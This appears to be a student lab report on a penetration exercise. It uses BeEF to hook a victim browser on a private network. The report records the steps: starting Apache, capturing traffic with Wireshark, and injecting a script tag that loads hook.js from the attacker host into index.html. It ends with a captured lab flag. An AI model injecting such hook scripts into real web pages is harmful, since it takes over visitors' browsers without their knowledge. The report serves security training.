Penetration Test Report

Pulkit Sanadhya

28th October 2019

Contents

Executive Summary

Background

The goal of this exercise is to Use BeEF to capture browser information.

Recommendation Summary

The kali attack box will be used for this purpose .

Technical Report

Exploitation

Here , initially we had to open the port 80 on host machine by using thee following command : service apache2 start .

Now we used wireshark to capture all the traffic directed towards the destination IP 172.24.0.10 , we observed that after some time we got the http GET request from the source 172.30.0.128 , the URL requested was found to be http://172.24.0.10/stamps/collection.html .

Now , we used the following command to open the index.html file on the host machine:

cd /var/www/html/

vi index.html

Now , we added the following line to the head of this html file :

<script src="http://172.24.0.10:3000/hook.js> </script>

So , we opened the beef console and we could see that that the 172.30.0.128 was hooked in the console.
And we were able to find KEY15 as follows :

KEY015:wwmUyrUpOB8Q7km0zCtnSQ==

Conclusion

We were able to successfully able to use BeEF to capture the browser information and find the KEY15.